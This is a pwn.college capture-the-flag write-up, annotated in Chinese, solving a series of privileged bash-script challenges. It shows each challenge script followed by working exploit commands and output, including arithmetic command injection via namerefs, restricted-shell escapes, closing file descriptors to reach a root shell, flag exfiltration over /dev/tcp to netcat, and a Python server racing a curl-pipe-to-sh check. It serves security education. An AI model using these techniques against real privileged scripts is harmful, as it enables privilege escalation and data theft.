PwnCollege - The Art of the Shell - Other

Dance of the Disquised

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ubuntu@unexpected-input~dance-of-the-disguised:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/sh -p

PATH=/usr/bin
[ -n "$1" ] || exit 1

WORKDIR=$(mktemp -d) || exit 2
cp -rL "$1"/* $WORKDIR/files
cd $WORKDIR/files

# make sure there weren't linking shenanegans
grep -q "{" notflag* && exit 3

ls notflag* | while read FILE
do
echo "###### FILE: $FILE #######"
cat "$FILE"
done
1
2
3
4
5
6
7
8
9
10
11
12
13
14
ubuntu@unexpected-input~dance-of-the-disguised:~$ mkdir -p /tmp/arch_way/wrapper
ubuntu@unexpected-input~dance-of-the-disguised:~$ ln -s /flag /tmp/arch_way/wrapper/theflag
ubuntu@unexpected-input~dance-of-the-disguised:~$ mkdir /tmp/arch_way/wrapper/notflag
ubuntu@unexpected-input~dance-of-the-disguised:~$ touch /tmp/arch_way/wrapper/notflag/theflag
ubuntu@unexpected-input~dance-of-the-disguised:~$ /challenge/run /tmp/arch_way
grep: notflag: Is a directory
###### FILE: theflag #######
pwn.college{********************************************}

# "$1"/* 展开后只有一个对象,也就是 /tmp/arch_way/wrapper 目录。

# cp -rL 发现只有一个源目录,而目标 $WORKDIR/files 不存在,于是它会自动创建 files 目录,并将 wrapper 里的内容(notflag 目录和已被 -L 解引用的 theflag 真实文件)克隆进去。

# 没有任何 cp 报错。接下来的 grep 会因为遇到 notflag 目录而正常返回错误代码跳过 exit 3 验证,ls 输出内层文件名,cat 读取当前目录下的真实 Flag 文件。

Script of the Silent

1
2
3
4
5
6
7
8
9
10
11
ubuntu@unexpected-input~script-of-the-silent:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

[ -n "$1" ] || exit 1
[ "$(realpath "$1")" != "/" ] || exit 1
[ "$(realpath "$1")" != "/flag" ] || exit 2

printf -v BACKUP_DIR "$1"
tar cvf /tmp/backup "$BACKUP_DIR"
1
2
3
4
5
6
7
8
9
ubuntu@unexpected-input~script-of-the-silent:~$ /challenge/run '/f\154ag'
tar: Removing leading `/' from member names
/flag
ubuntu@unexpected-input~script-of-the-silent:~$ tar -xf /tmp/backup -O
pwn.college{********************************************}
# printf 会默认解析格式化字符串 (Format String) 中的转义字符
# printf 中,你可以使用八进制 (Octal) 或十六进制 (Hex) 来表示字符。比如字母 l 的 ASCII 码是 108,转换成八进制就是 154。
# 当执行到 printf -v BACKUP_DIR '/f\154ag' 时,printf 作为 Bash builtin,会将 \154 翻译成 l。
# 接下来执行 tar cvf /tmp/backup "$BACKUP_DIR",实际上执行的就是 tar cvf /tmp/backup /flag。

One Single Slice

1
2
3
4
5
6
7
8
9
10
11
ubuntu@unexpected-input~one-single-slice:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

read VAR < <(head -n1 | tr -cd 'a-zA-Z0-9')
read VAL < <(head -n1)
declare -n PTR="$VAR"
PTR="$VAL"

# declare -n 创建了一个 nameref (引用变量)。PTR 成为了 $VAR 的指针。随后 PTR="$VAL" 将输入赋值给目标变量。
# 在 Bash 中,有一些内置的特殊变量自带 integer attribute,比如 SECONDS、RANDOM 或者 OPTIND。给一个带有整型属性的变量赋一个字符串时,Bash 不会报错,而是会强制将这个字符串作为 Arithmetic Expression (算术表达式) 来求值
# 在 Bash 的算术求值引擎中,如果你提供一个类似数组的语法,比如 a[index],Bash 为了计算最终结果,必须去动态解析这个 index
1
2
3
4
5
6
ubuntu@unexpected-input~one-single-slice:~$ /challenge/run
SECONDS
a[$(cat /flag >&2)]
# or a[$(</flag)]
# or (echo "SECONDS"; sleep 0.1; echo 'a[$(cat /flag >&2)]') | /challenge/run
pwn.college{**********************************************}

The Treacherous Title

1
2
3
4
5
6
7
8
9
10
11
12
ubuntu@unexpected-input~the-treacherous-title:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

while read VAR
do
declare -r $VAR
done < <(declare -p | cut -d' ' -f3 | cut -d= -f1 | grep -v "^VAR$")

read VAR < <(head -n1)
read VAL < <(head -n1 | tr -cd 'a-zA-Z0-9')
declare -n PTR="$VAR"
PTR="$VAL"
1
2
3
4
5
6
7
8
9
10
11
# PTR="1" -> 相当于执行 a[$(cat /flag >&2)]="1"
ubuntu@unexpected-input~the-treacherous-title:~$ (echo 'a[$(cat /flag >&2)]'; sleep 0.1; echo '1') | /challenge/run
/challenge/run: line 5: _: readonly variable
/challenge/run: line 3: _: readonly variable
/challenge/run: line 8: SHLVL: readonly variable
/challenge/run: line 8: _: readonly variable
/challenge/run: line 9: _: readonly variable
/challenge/run: line 10: _: readonly variable
/challenge/run: line 11: _: readonly variable
pwn.college{**********************************************}
/challenge/run: line 11: _: readonly variable

The Dangling Danger

1
2
3
4
5
6
7
ubuntu@unexpected-input~the-dangling-danger:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/bin

[[ "$1" = *flag ]] && exit 1
cat /$(basename "$1")
1
2
3
ubuntu@unexpected-input~the-dangling-danger:~$ /challenge/run /flag/
pwn.college{**********************************************}
# 当执行 basename /flag/ 时,basename 会先剥离掉末尾的斜杠,把它当成 /flag 处理

The Evil End

1
2
3
4
5
6
7
8
ubuntu@unexpected-input~the-evil-end:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/bin

[[ "$1" = *flag ]] && exit 1
[[ "$1" = */ ]] && exit 2
cat /$(basename "$1")

Command Substitution

1
2
ubuntu@unexpected-input~the-evil-end:~$ /challenge/run '</f*'
pwn.college{**********************************************}

An Eroded Erasure

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ubuntu@unexpected-input~an-eroded-erasure:~$ cat /challenge/run.c
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
setreuid(0, 0);
setregid(0, 0);

// Use bash -c to source the script so that $0 is preserved from argv[0]
// argv layout: bash -c ". /challenge/run-actual" <original argv[0]> <original
// argv[1]> ...
char **new_argv = malloc((argc + 4) * sizeof(char *));
new_argv[0] = "bash";
new_argv[1] = "-pc";
new_argv[2] = ". /challenge/run-actual";
for (int i = 0; i < argc; i++)
new_argv[3 + i] = argv[i];
new_argv[3 + argc] = NULL;

execv("/bin/bash", new_argv);
return 1;
}
ubuntu@unexpected-input~an-eroded-erasure:~$ cat /challenge/run-actual
#!/bin/bash -p

read FLAG < /flag
read FLAG
echo "$FLAG"
1
2
3
4
5
6
7
8
9
10
11
12
ubuntu@unexpected-input~an-eroded-erasure:~$ env BASH_COMPAT=4.2 /challenge/run 0<&-
/challenge/run-actual: line 4: read: read error: 0: Bad file descriptor
pwn.college{**********************************************}

# 在现代 Bash (4.3 版本及以上) 中,如果 read 遇到了 EOF,会清空目标变量
# 在 Bash 4.3 版本之前,read 命令的底层逻辑存在一个特性:如果它在读取时撞上了 EOF,它会直接报错退出
# BASH_COMPAT 通过设置这个变量可以强制现代 Bash 模拟旧版本的行为

# 0:FD 0 -> stdin。
# <:Input Redirection
# &:Indicator
# -:Close

Secrets of the Processes

1
2
3
4
5
6
7
8
9
10
11
ubuntu@other~secrets-of-the-processes:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin
echo "Guess the flag:"
if head -n1 | grep -q "$(< /flag)"
then
echo "You got it!"
else
echo "Nope."
fi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ubuntu@other~secrets-of-the-processes:~$ /challenge/run &
[1] 136
ubuntu@other~secrets-of-the-processes:~$ Guess the flag:
ps -eo cmd | grep grep
grep -q pwn.college{********************************************}
grep --color=auto grep

[1]+ Stopped /challenge/run
ubuntu@other~secrets-of-the-processes:~$ ps aux | grep grep
root 138 0.0 0.0 1276 0 pts/1 T 12:13 0:00 grep -q pwn.college{********************************************}
ubuntu 142 0.0 0.0 230744 2560 pts/1 S+ 12:13 0:00 grep --color=auto grep

# 在 Linux 底层,当 Bash 遇到管道操作 A | B 时,Bash 会优先解析命令行里的变量和命令替换。此时,拥有高权限的 SUID 脚本会执行 $(< /flag),把真实的 Flag 字符串读取出来。
# Bash 为管道两边的命令分别 fork 出子进程。
# 左边的进程执行 head -n1。
# 右边的进程执行 grep -q "真正的FLAG字符串"。
# head -n1 会挂起,等待右边的进程执行完毕。

Puzzle of the Perverse Predicates

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ubuntu@other~puzzle-of-the-perverse-predicates:~$ cat /challenge/run.c
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
setreuid(0, 0);
setregid(0, 0);

// Use bash -c to source the script so that $0 is preserved from argv[0]
// argv layout: bash -c ". /challenge/run-actual" <original argv[0]> <original
// argv[1]> ...
char **new_argv = malloc((argc + 4) * sizeof(char *));
new_argv[0] = "bash";
new_argv[1] = "-pc";
new_argv[2] = ". /challenge/run-actual";
for (int i = 0; i < argc; i++)
new_argv[3 + i] = argv[i];
new_argv[3 + argc] = NULL;

execv("/bin/bash", new_argv);
return 1;
}
ubuntu@other~puzzle-of-the-perverse-predicates:~$ cat /challenge/run-actual
#!/bin/bash -p

PATH=/usr/bin
read FLAG < /flag
[ "$1" != "$FLAG" ] && echo "Incorrect Guess. Goodbye!" || bash -i
1
2
3
4
5
6
7
8
9
ubuntu@other~puzzle-of-the-perverse-predicates:~$ /challenge/run >&-
/challenge/run-actual: line 5: echo: write error: Bad file descriptor
root@other~puzzle-of-the-perverse-predicates:~# cat /flag 1>&2
pwn.college{********************************************}

# A && B || C 在 Bash 中被称为 AND/OR Lists (逻辑谓词链)
# 如果 echo 命令执行失败了,那么 (A && B) 这个整体的布尔值就会变成 False,后面的 || (OR 谓词) 就会被强行触发,导致 bash -i 被执行
# 利用 >&- 关闭进程的 stdout echo 向一个已经关闭的文件描述符写入数据,触发 write error: Bad file descriptor,并且返回一个表示失败的退出状态码 (1)
# 1>&2 将 stdout 重定向到依然开启的 stderr (FD 2)

The Flag, Resting Safely

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
ubuntu@other~the-flag-resting-safely:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

read FLAG < /flag
read DEST < <(tr -cd "[a-z0-9/]" <<< "$1")
[[ "$DEST" == /* ]] || exit 1

OLDIFS="$IFS"
IFS="/"
FILE=""
for FRAGMENT in $DEST
do
[ -z "$FRAGMENT" ] && continue
FILE="$FILE/$FRAGMENT"
[ $(stat -c %U "$FILE") == "hacker" ] && exit 2
[ $(stat -c %G "$FILE") == "hacker" ] && exit 3
[[ $(stat -c %A "$FILE") =~ .....w..w. ]] && exit 4
[ "$FRAGMENT" == "proc" ] && exit 5
[ "$FRAGMENT" == "fd" ] && exit 6
[ "$FRAGMENT" == "hacker" ] && exit 7

chmod 000 "$FILE"
done
IFS="$OLDIFS"

[ -e "$FILE" ] && exit 6 # fix clever bypass by amateurhour
umask 777
touch "$DEST"
echo $FLAG > "$DEST"
1
2
3
4
5
6
7
8
9
10
11
ubuntu@other~the-flag-resting-safely:~$ /challenge/run /dev/tcp/localhost/1337
stat: cannot statx '/dev/tcp': No such file or directory
/challenge/run: line 16: [: ==: unary operator expected
stat: cannot statx '/dev/tcp': No such file or directory
/challenge/run: line 17: [: ==: unary operator expected
stat: cannot statx '/dev/tcp': No such file or directory

ubuntu@other~the-flag-resting-safely:~$ nc -lvp 1337
nc: getnameinfo: Temporary failure in name resolution
Connection received on localhost 39398
pwn.college{********************************************}
  1. tr -cd "[a-z0-9/]" 意味着只能使用小写字母、数字和斜杠。
  2. 不能是 hacker 拥有的目录,不能是带有组/其他用户写权限的目录(这就排除了 /tmp, /dev/shm 等)。
  3. chmod 000 "$FILE"。脚本在遍历你提供的路径时,会把沿途所有的目录权限全部抹成 000
  4. [ -e "$FILE" ] && exit 6。目标路径不能事先存在。
  5. umask 777 结合 touch,创建出的最终文件权限是 000

当 Bash 处理重定向符 > 时,如果后面的路径是 /dev/tcp/host/port,它会将其拦截,并在内部发起一个 TCP Socket 网络连接

The Scream of Silence

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
ubuntu@other~the-scream-of-silence:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

exec /bin/bash --restricted --init-file /challenge/.yanjail
ubuntu@other~the-scream-of-silence:~$ cat /challenge/.yanjail
# This disables command injection. If you can find a bypass of it, let Zardus know!
set -T
readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix
trap '[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG

set +H
set +f
set +m
set +B

export PS1="NO WAY OUT: "
export PATH=/nope
alias case=nope
alias coproc=nope
alias do=nope
alias done=nope
alias elif=nope
alias else=nope
alias esac=nope
#alias exit=nope
alias fi=nope
alias for=nope
alias function=nope
alias if=nope
alias in=nope
alias select=nope
alias then=nope
alias time=nope
alias until=nope
alias while=nope

enable -n .
enable -n :
enable -n [
enable -n alias
enable -n bg
enable -n bind
enable -n break
enable -n builtin
enable -n caller
enable -n cd
enable -n command
enable -n compgen
enable -n complete
enable -n compopt
enable -n continue
enable -n declare
enable -n dirs
enable -n disown
enable -n echo
enable -n eval
enable -n exec
#enable -n exit
enable -n export
enable -n false
enable -n fc
enable -n fg
enable -n getopts
enable -n hash
enable -n help
enable -n history
enable -n jobs
enable -n kill
enable -n let
enable -n local
enable -n logout
enable -n mapfile
enable -n popd
enable -n printf
enable -n pushd
enable -n pwd
enable -n read
enable -n readarray
enable -n readonly
enable -n return
enable -n set
enable -n shift
enable -n shopt
enable -n source
enable -n suspend
enable -n test
enable -n times
enable -n trap
enable -n true
enable -n type
enable -n typeset
enable -n ulimit
enable -n umask
enable -n unalias
enable -n unset
enable -n wait
enable -n enable
1
2
3
4
5
6
7
8
9
10
11
12
ubuntu@other~the-scream-of-silence:~$ /challenge/run
NO WAY OUT: exit() { A=1; }
NO WAY OUT: $(< /flag)
bash: pwn.college{********************************************}: command not found

# 在 Bash 中,当你输入一个命令(比如 exit),Bash 是按照严格的优先级顺序去查找它的:

# Aliases (别名)
# Keywords (关键字)
# Functions (函数) -> exit()
# Builtins (内置命令) -> exit
# $PATH 中的可执行文件

Deception, Born of Wisdom

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
ubuntu@other~deception-born-of-wisdom:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

WORKDIR=$(mktemp -d)
[ -n "$WORKDIR" ] || exit 1
cd $WORKDIR

chmod o-rwx .
chmod o-rwx /proc

function check_script {
curl -s http://challenge.localhost:1337/install.sh -o script.sh || exit 1

# good installer scripts should just touch a bunch of files
grep -E '^(touch|echo|sleep) [0-9a-zA-Z]*$' script.sh > sanitized_script.sh
if ! diff script.sh sanitized_script.sh
then
echo "Looks like there are some shenanigans in your script. Aborting!"
rm -f /flag
exit 1
fi
}

echo "Thoroughly checking your install script for shenanigans..."
i=0
MAX=$(($RANDOM%1000+1337))
while [ "$i" -lt "$MAX" ]
do
check_script
echo -ne "\rChecked for the $((i++))th time... "
done

curl -s http://challenge.localhost:1337/install.sh | sh

TOCTOU (Time-of-Check to Time-of-Use)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import socket
import time

s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', 1337))
s.listen(5)

http_header = b"HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\n\r\n"
safe_payload = http_header + b"sleep 2\n" + b"echo a\n" * 50000

while True:
c, addr = s.accept()

try:
c.recv(1024)

c.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 4096)
c.settimeout(0.1)

c.sendall(safe_payload)
c.close()

# 如果是 curl -o:瞬间下载完,Web 服务器的发送缓冲区瞬间清空。
# 如果是 curl | sh:sh 被 sleep 2,管道被塞满 64 KB,curl 无法继续写入,于是停止从网络读取,导致 TCP 接收窗口被塞满,最终反向导致我们 Web 服务器的 send() 函数被阻塞 (Block)
except socket.timeout:
time.sleep(2)
c.settimeout(3.0)
c.sendall(b"\ncat /flag\n")
print("Success")
c.close()
break
except ConnectionResetError:
pass
1
2
3
ubuntu@other~deception-born-of-wisdom:~$ /challenge/run | grep pwn
sh: 24890: ech: not found
pwn.college{********************************************}

Beam me up, Sensei

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ubuntu@other~beam-me-up-sensei:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

regex='^[0-9]+[\+\-\*/][0-9]+$'

if [[ "$1" =~ $regex ]]
then
RESULT=$[$1]
exit $RESULT
# If there are more than one argument, the exit status is 1, and the shell does not exit.
else
exit 0
fi

cat /flag
1
2
3
ubuntu@other~beam-me-up-sensei:~$ /challenge/run "1/0"
/challenge/run: line 7: 1/0: division by 0 (error token is "0")
pwn.college{**********************************************}